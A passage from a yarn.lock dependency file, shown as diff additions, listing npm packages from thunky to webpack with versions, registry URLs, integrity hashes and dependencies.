+  integrity sha512-WKexMoJj3vEuK0yFEapj8y64V0A6xcuPuK9Gt1d0R+dzCSJc0lHqQytAbSB4cDAK0dWh4T0E2ETkoLE2WZ41OQ==
+
+thunky@^1.0.2:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/thunky/-/thunky-1.1.0.tgz#5abaf714a9405db0504732bbccd2cedd9ef9537d"
+  integrity sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==
+
+tmpl@1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/tmpl/-/tmpl-1.0.5.tgz#8683e0b902bb9c20c4f726e3c0b69f36518c07cc"
+  integrity sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==
+
+to-regex-range@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4"
+  integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==
+  dependencies:
+    is-number "^7.0.0"
+
+toidentifier@1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.1.tgz#3be34321a88a820ed1bd80dfaa33e479fbb8dd35"
+  integrity sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==
+
+tough-cookie@^4.0.0:
+  version "4.1.4"
+  resolved "https://registry.yarnpkg.com/tough-cookie/-/tough-cookie-4.1.4.tgz#945f1461b45b5a8c76821c33ea49c3ac192c1b36"
+  integrity sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==
+  dependencies:
+    psl "^1.1.33"
+    punycode "^2.1.1"
+    universalify "^0.2.0"
+    url-parse "^1.5.3"
+
+tr46@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/tr46/-/tr46-1.0.1.tgz#a8b13fd6bfd2489519674ccde55ba3693b706d09"
+  integrity sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==
+  dependencies:
+    punycode "^2.1.0"
+
+tr46@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/tr46/-/tr46-2.1.0.tgz#fa87aa81ca5d5941da8cbf1f9b749dc969a4e240"
+  integrity sha512-15Ih7phfcdP5YxqiB+iDtLoaTz4Nd35+IiAv0kQ5FNKHzXgdWqPoTIqEDDJmXceQt4JZk6lVPT8lnDlPpGDppw==
+  dependencies:
+    punycode "^2.1.1"
+
+tryer@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/tryer/-/tryer-1.0.1.tgz#f2c85406800b9b0f74c9f7465b81eaad241252f8"
+  integrity sha512-c3zayb8/kWWpycWYg87P71E1S1ZL6b6IJxfb5fvsUgsf0S2MVGaDhDXXjDMpdCpfWXqptc+4mXwmiy1ypXqRAA==
+
+ts-interface-checker@^0.1.9:
+  version "0.1.13"
+  resolved "https://registry.yarnpkg.com/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz#784fd3d679722bc103b1b4b8030bcddb5db2a699"
+  integrity sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==
+
+tsconfig-paths@^3.15.0:
+  version "3.15.0"
+  resolved "https://registry.yarnpkg.com/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz#5299ec605e55b1abb23ec939ef15edaf483070d4"
+  integrity sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==
+  dependencies:
+    "@types/json5" "^0.0.29"
+    json5 "^1.0.2"
+    minimist "^1.2.6"
+    strip-bom "^3.0.0"
+
+tslib@^1.8.1:
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/tslib/-/tslib-1.14.1.tgz#cf2d38bdc34a134bcaf1091c41f6619e2f672d00"
+  integrity sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==
+
+tslib@^2.0.3:
+  version "2.8.1"
+  resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.8.1.tgz#612efe4ed235d567e8aba5f2a5fab70280ade83f"
+  integrity sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==
+
+tsutils@^3.21.0:
+  version "3.21.0"
+  resolved "https://registry.yarnpkg.com/tsutils/-/tsutils-3.21.0.tgz#b48717d394cea6c1e096983eed58e9d61715b623"
+  integrity sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==
+  dependencies:
+    tslib "^1.8.1"
+
+type-check@^0.4.0, type-check@~0.4.0:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.4.0.tgz#07b8203bfa7056c0657050e3ccd2c37730bab8f1"
+  integrity sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==
+  dependencies:
+    prelude-ls "^1.2.1"
+
+type-check@~0.3.2:
+  version "0.3.2"
+  resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.3.2.tgz#5884cab512cf1d355e3fb784f30804b2b520db72"
+  integrity sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==
+  dependencies:
+    prelude-ls "~1.1.2"
+
+type-detect@4.0.8:
+  version "4.0.8"
+  resolved "https://registry.yarnpkg.com/type-detect/-/type-detect-4.0.8.tgz#7646fb5f18871cfbb7749e69bd39a6388eb7450c"
+  integrity sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==
+
+type-fest@^0.16.0:
+  version "0.16.0"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.16.0.tgz#3240b891a78b0deae910dbeb86553e552a148860"
+  integrity sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==
+
+type-fest@^0.20.2:
+  version "0.20.2"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.20.2.tgz#1bf207f4b28f91583666cb5fbd327887301cd5f4"
+  integrity sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==
+
+type-fest@^0.21.3:
+  version "0.21.3"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.21.3.tgz#d260a24b0198436e133fa26a524a6d65fa3b2e37"
+  integrity sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==
+
+type-is@~1.6.18:
+  version "1.6.18"
+  resolved "https://registry.yarnpkg.com/type-is/-/type-is-1.6.18.tgz#4e552cd05df09467dcbc4ef739de89f2cf37c131"
+  integrity sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==
+  dependencies:
+    media-typer "0.3.0"
+    mime-types "~2.1.24"
+
+typed-array-buffer@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz#a72395450a4869ec033fd549371b47af3a2ee536"
+  integrity sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-typed-array "^1.1.14"
+
+typed-array-byte-length@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz#8407a04f7d78684f3d252aa1a143d2b77b4160ce"
+  integrity sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==
+  dependencies:
+    call-bind "^1.0.8"
+    for-each "^0.3.3"
+    gopd "^1.2.0"
+    has-proto "^1.2.0"
+    is-typed-array "^1.1.14"
+
+typed-array-byte-offset@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz#ae3698b8ec91a8ab945016108aef00d5bff12355"
+  integrity sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==
+  dependencies:
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    for-each "^0.3.3"
+    gopd "^1.2.0"
+    has-proto "^1.2.0"
+    is-typed-array "^1.1.15"
+    reflect.getprototypeof "^1.0.9"
+
+typed-array-length@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/typed-array-length/-/typed-array-length-1.0.7.tgz#ee4deff984b64be1e118b0de8c9c877d5ce73d3d"
+  integrity sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==
+  dependencies:
+    call-bind "^1.0.7"
+    for-each "^0.3.3"
+    gopd "^1.0.1"
+    is-typed-array "^1.1.13"
+    possible-typed-array-names "^1.0.0"
+    reflect.getprototypeof "^1.0.6"
+
+typedarray-to-buffer@^3.1.5:
+  version "3.1.5"
+  resolved "https://registry.yarnpkg.com/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz#a97ee7a9ff42691b9f783ff1bc5112fe3fca9080"
+  integrity sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==
+  dependencies:
+    is-typedarray "^1.0.0"
+
+unbox-primitive@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/unbox-primitive/-/unbox-primitive-1.1.0.tgz#8d9d2c9edeea8460c7f35033a88867944934d1e2"
+  integrity sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==
+  dependencies:
+    call-bound "^1.0.3"
+    has-bigints "^1.0.2"
+    has-symbols "^1.1.0"
+    which-boxed-primitive "^1.1.1"
+
+underscore@1.12.1:
+  version "1.12.1"
+  resolved "https://registry.yarnpkg.com/underscore/-/underscore-1.12.1.tgz#7bb8cc9b3d397e201cf8553336d262544ead829e"
+  integrity sha512-hEQt0+ZLDVUMhebKxL4x1BTtDY7bavVofhZ9KZ4aI26X9SRaE+Y3m83XUL1UP2jn8ynjndwCCpEHdUG+9pP1Tw==
+
+undici-types@~6.20.0:
+  version "6.20.0"
+  resolved "https://registry.yarnpkg.com/undici-types/-/undici-types-6.20.0.tgz#8171bf22c1f588d1554d55bf204bc624af388433"
+  integrity sha512-Ny6QZ2Nju20vw1SRHe3d9jVu6gJ+4e3+MMpqu7pqE5HT6WsTSlce++GQmK5UXS8mzV8DSYHrQH+Xrf2jVcuKNg==
+
+unicode-canonical-property-names-ecmascript@^2.0.0:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.1.tgz#cb3173fe47ca743e228216e4a3ddc4c84d628cc2"
+  integrity sha512-dA8WbNeb2a6oQzAQ55YlT5vQAWGV9WXOsi3SskE3bcCdM0P4SDd+24zS/OCacdRq5BkdsRj9q3Pg6YyQoxIGqg==
+
+unicode-match-property-ecmascript@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz#54fd16e0ecb167cf04cf1f756bdcc92eba7976c3"
+  integrity sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==
+  dependencies:
+    unicode-canonical-property-names-ecmascript "^2.0.0"
+    unicode-property-aliases-ecmascript "^2.0.0"
+
+unicode-match-property-value-ecmascript@^2.1.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.2.0.tgz#a0401aee72714598f739b68b104e4fe3a0cb3c71"
+  integrity sha512-4IehN3V/+kkr5YeSSDDQG8QLqO26XpL2XP3GQtqwlT/QYSECAwFztxVHjlbh0+gjJ3XmNLS0zDsbgs9jWKExLg==
+
+unicode-property-aliases-ecmascript@^2.0.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz#43d41e3be698bd493ef911077c9b131f827e8ccd"
+  integrity sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==
+
+unique-string@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/unique-string/-/unique-string-2.0.0.tgz#39c6451f81afb2749de2b233e3f7c5e8843bd89d"
+  integrity sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==
+  dependencies:
+    crypto-random-string "^2.0.0"
+
+universalify@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/universalify/-/universalify-0.2.0.tgz#6451760566fa857534745ab1dde952d1b1761be0"
+  integrity sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==
+
+universalify@^2.0.0:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/universalify/-/universalify-2.0.1.tgz#168efc2180964e6386d061e094df61afe239b18d"
+  integrity sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==
+
+unpipe@1.0.0, unpipe@~1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec"
+  integrity sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==
+
+unquote@~1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/unquote/-/unquote-1.1.1.tgz#8fded7324ec6e88a0ff8b905e7c098cdc086d544"
+  integrity sha512-vRCqFv6UhXpWxZPyGDh/F3ZpNv8/qo7w6iufLpQg9aKnQ71qM4B5KiI7Mia9COcjEhrO9LueHpMYjYzsWH3OIg==
+
+upath@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/upath/-/upath-1.2.0.tgz#8f66dbcd55a883acdae4408af8b035a5044c1894"
+  integrity sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==
+
+update-browserslist-db@^1.1.1:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.1.2.tgz#97e9c96ab0ae7bcac08e9ae5151d26e6bc6b5580"
+  integrity sha512-PPypAm5qvlD7XMZC3BujecnaOxwhrtoFR+Dqkk5Aa/6DssiH0ibKoketaj9w8LP7Bont1rYeoV5plxD7RTEPRg==
+  dependencies:
+    escalade "^3.2.0"
+    picocolors "^1.1.1"
+
+uri-js@^4.2.2:
+  version "4.4.1"
+  resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e"
+  integrity sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==
+  dependencies:
+    punycode "^2.1.0"
+
+url-parse@^1.5.3:
+  version "1.5.10"
+  resolved "https://registry.yarnpkg.com/url-parse/-/url-parse-1.5.10.tgz#9d3c2f736c1d75dd3bd2be507dcc111f1e2ea9c1"
+  integrity sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==
+  dependencies:
+    querystringify "^2.1.1"
+    requires-port "^1.0.0"
+
+util-deprecate@^1.0.1, util-deprecate@^1.0.2, util-deprecate@~1.0.1:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
+  integrity sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==
+
+util.promisify@~1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/util.promisify/-/util.promisify-1.0.1.tgz#6baf7774b80eeb0f7520d8b81d07982a59abbaee"
+  integrity sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==
+  dependencies:
+    define-properties "^1.1.3"
+    es-abstract "^1.17.2"
+    has-symbols "^1.0.1"
+    object.getownpropertydescriptors "^2.1.0"
+
+utila@~0.4:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/utila/-/utila-0.4.0.tgz#8a16a05d445657a3aea5eecc5b12a4fa5379772c"
+  integrity sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA==
+
+utils-merge@1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713"
+  integrity sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==
+
+uuid@^8.3.2:
+  version "8.3.2"
+  resolved "https://registry.yarnpkg.com/uuid/-/uuid-8.3.2.tgz#80d5b5ced271bb9af6c445f21a1a04c606cefbe2"
+  integrity sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==
+
+v8-to-istanbul@^8.1.0:
+  version "8.1.1"
+  resolved "https://registry.yarnpkg.com/v8-to-istanbul/-/v8-to-istanbul-8.1.1.tgz#77b752fd3975e31bbcef938f85e9bd1c7a8d60ed"
+  integrity sha512-FGtKtv3xIpR6BYhvgH8MI/y78oT7d8Au3ww4QIxymrCtZEh5b8gCw2siywE+puhEmuWKDtmfrvF5UlB298ut3w==
+  dependencies:
+    "@types/istanbul-lib-coverage" "^2.0.1"
+    convert-source-map "^1.6.0"
+    source-map "^0.7.3"
+
+vary@~1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc"
+  integrity sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==
+
+w3c-hr-time@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz#0a89cdf5cc15822df9c360543676963e0cc308cd"
+  integrity sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==
+  dependencies:
+    browser-process-hrtime "^1.0.0"
+
+w3c-xmlserializer@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz#3e7104a05b75146cc60f564380b7f683acf1020a"
+  integrity sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==
+  dependencies:
+    xml-name-validator "^3.0.0"
+
+walker@^1.0.7:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/walker/-/walker-1.0.8.tgz#bd498db477afe573dc04185f011d3ab8a8d7653f"
+  integrity sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==
+  dependencies:
+    makeerror "1.0.12"
+
+watchpack@^2.4.1:
+  version "2.4.2"
+  resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-2.4.2.tgz#2feeaed67412e7c33184e5a79ca738fbd38564da"
+  integrity sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw==
+  dependencies:
+    glob-to-regexp "^0.4.1"
+    graceful-fs "^4.1.2"
+
+wbuf@^1.1.0, wbuf@^1.7.3:
+  version "1.7.3"
+  resolved "https://registry.yarnpkg.com/wbuf/-/wbuf-1.7.3.tgz#c1d8d149316d3ea852848895cb6a0bfe887b87df"
+  integrity sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==
+  dependencies:
+    minimalistic-assert "^1.0.0"
+
+web-vitals@^2.1.0:
+  version "2.1.4"
+  resolved "https://registry.yarnpkg.com/web-vitals/-/web-vitals-2.1.4.tgz#76563175a475a5e835264d373704f9dde718290c"
+  integrity sha512-sVWcwhU5mX6crfI5Vd2dC4qchyTqxV8URinzt25XqVh+bHEPGH4C3NPrNionCP7Obx59wrYEbNlw4Z8sjALzZg==
+
+webidl-conversions@^4.0.2:
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-4.0.2.tgz#a855980b1f0b6b359ba1d5d9fb39ae941faa63ad"
+  integrity sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==
+
+webidl-conversions@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-5.0.0.tgz#ae59c8a00b121543a2acc65c0434f57b0fc11aff"
+  integrity sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==
+
+webidl-conversions@^6.1.0:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-6.1.0.tgz#9111b4d7ea80acd40f5270d666621afa78b69514"
+  integrity sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==
+
+webpack-dev-middleware@^5.3.4:
+  version "5.3.4"
+  resolved "https://registry.yarnpkg.com/webpack-dev-middleware/-/webpack-dev-middleware-5.3.4.tgz#eb7b39281cbce10e104eb2b8bf2b63fce49a3517"
+  integrity sha512-BVdTqhhs+0IfoeAf7EoH5WE+exCmqGerHfDM0IL096Px60Tq2Mn9MAbnaGUe6HiMa41KMCYF19gyzZmBcq/o4Q==
+  dependencies:
+    colorette "^2.0.10"
+    memfs "^3.4.3"
+    mime-types "^2.1.31"
+    range-parser "^1.2.1"
+    schema-utils "^4.0.0"
+
+webpack-dev-server@^4.6.0:
+  version "4.15.2"
+  resolved "https://registry.yarnpkg.com/webpack-dev-server/-/webpack-dev-server-4.15.2.tgz#9e0c70a42a012560860adb186986da1248333173"
+  integrity sha512-0XavAZbNJ5sDrCbkpWL8mia0o5WPOd2YGtxrEiZkBK9FjLppIUK2TgxK6qGD2P3hUXTJNNPVibrerKcx5WkR1g==
+  dependencies:
+    "@types/bonjour" "^3.5.9"
+    "@types/connect-history-api-fallback" "^1.3.5"
+    "@types/express" "^4.17.13"
+    "@types/serve-index" "^1.9.1"
+    "@types/serve-static" "^1.13.10"
+    "@types/sockjs" "^0.3.33"
+    "@types/ws" "^8.5.5"
+    ansi-html-community "^0.0.8"
+    bonjour-service "^1.0.11"
+    chokidar "^3.5.3"
+    colorette "^2.0.10"
+    compression "^1.7.4"
+    connect-history-api-fallback "^2.0.0"
+    default-gateway "^6.0.3"
+    express "^4.17.3"
+    graceful-fs "^4.2.6"
+    html-entities "^2.3.2"
+    http-proxy-middleware "^2.0.3"
+    ipaddr.js "^2.0.1"
+    launch-editor "^2.6.0"
+    open "^8.0.9"
+    p-retry "^4.5.0"
+    rimraf "^3.0.2"
+    schema-utils "^4.0.0"
+    selfsigned "^2.1.1"
+    serve-index "^1.9.1"
+    sockjs "^0.3.24"
+    spdy "^4.0.2"
+    webpack-dev-middleware "^5.3.4"
+    ws "^8.13.0"
+
+webpack-manifest-plugin@^4.0.2:
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/webpack-manifest-plugin/-/webpack-manifest-plugin-4.1.1.tgz#10f8dbf4714ff93a215d5a45bcc416d80506f94f"
+  integrity sha512-YXUAwxtfKIJIKkhg03MKuiFAD72PlrqCiwdwO4VEXdRO5V0ORCNwaOwAZawPZalCbmH9kBDmXnNeQOw+BIEiow==
+  dependencies:
+    tapable "^2.0.0"
+    webpack-sources "^2.2.0"
+
+webpack-sources@^1.4.3:
+  version "1.4.3"
+  resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-1.4.3.tgz#eedd8ec0b928fbf1cbfe994e22d2d890f330a933"
+  integrity sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==
+  dependencies:
+    source-list-map "^2.0.0"
+    source-map "~0.6.1"
+
+webpack-sources@^2.2.0:
+  version "2.3.1"
+  resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-2.3.1.tgz#570de0af163949fe272233c2cefe1b56f74511fd"
+  integrity sha512-y9EI9AO42JjEcrTJFOYmVywVZdKVUfOvDUPsJea5GIr1JOEGFVqwlY2K098fFoIjOkDzHn2AjRvM8dsBZu+gCA==
+  dependencies:
+    source-list-map "^2.0.1"
+    source-map "^0.6.1"
+
+webpack-sources@^3.2.3:
+  version "3.2.3"
+  resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-3.2.3.tgz#2d4daab8451fd4b240cc27055ff6a0c2ccea0cde"
+  integrity sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==
+
+webpack@^5.64.4:
+  version "5.97.1"
+  resolved "https://registry.yarnpkg.com/webpack/-/webpack-5.97.1.tgz#972a8320a438b56ff0f1d94ade9e82eac155fa58"
+  integrity sha512-EksG6gFY3L1eFMROS/7Wzgrii5mBAFe4rIr3r2BTfo7bcc+DWwFZ4OJ/miOuHJO/A85HwyI4eQ0F6IKXesO7Fg==
+  dependencies:
+    "@types/eslint-scope" "^3.7.7"
+    "@types/estree" "^1.0.6"
+    "@webassemblyjs/ast" "^1.14.1"
+    "@webassemblyjs/wasm-edit" "^1.14.1"
+    "@webassemblyjs/wasm-parser" "^1.14.1"
+    acorn "^8.14.0"
+    browserslist "^4.24.0"
+    chrome-trace-event "^1.0.2"
+    enhanced-resolve "^5.17.1"
+    es-module-lexer "^1.2.1"
+    eslint-scope "5.1.1"
+    events "^3.2.0"
+    glob-to-regexp "^0.4.1"
+    graceful-fs "^4.2.11"
+    json-parse-even-better-errors "^2.3.1"
+    loader-runner "^4.2.0"
+    mime-types "^2.1.27"
+    neo-async "^2.6.2"
